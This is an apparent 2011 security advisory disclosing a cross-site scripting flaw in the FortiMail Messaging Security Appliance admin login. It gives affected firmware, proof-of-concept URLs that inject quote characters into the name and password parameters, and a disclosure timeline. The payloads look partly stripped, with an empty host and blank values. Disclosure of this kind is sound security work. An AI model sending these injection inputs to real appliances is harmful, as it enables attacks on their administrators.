Advisory: XSS vulnerability in FortiMail Messaging Security Appliance Advisory ID: SSCHADV2011-011 Author: Stefan Schurtz Affected Software: v4.0,build0245,101208 (MR1 Patch 2) Vendor URL: http://www.fortinet.com/ Vendor Status: informed ========================== Vulnerability Description: ========================== The Fortinet "FortiMail Messaging Security Appliance" is prone to a XSS vulnerability ================== Technical Details: ================== Tested on: FortiMail 100 / 400 Firmware version: v4.0,build0245,101208 (MR1 Patch 2) Internet Explorer 8 https:///module/admin.fe?reqObject=AdminLogin&reqAction=1&name='"&password=admin https:///module/admin.fe?reqObject=AdminLogin&reqAction=1&name=admin&password='" or https:///module/admin.fe?reqObject=AdminLogin&reqAction=1&name=&password=admin https:///module/admin.fe?reqObject=AdminLogin&reqAction=1&name=admin&password= or https:///module/admin.fe?reqObject=AdminLogin&reqAction=1&name=&password=admin ========= Solution: ========= - ==================== Disclosure Timeline: ==================== 31-Aug-2011 - informed the Zero Day Initiative (ZDI) - no response 13-Sep-2011 - informed vendor 13-Sep-2011 - release date of this security advisory ======== Credits: ======== Vulnerability found and advisory written by Stefan Schurtz. =========== References: =========== http://www.fortinet.com/ http://www.rul3z.de/advisories/SSCHADV2011-011.txt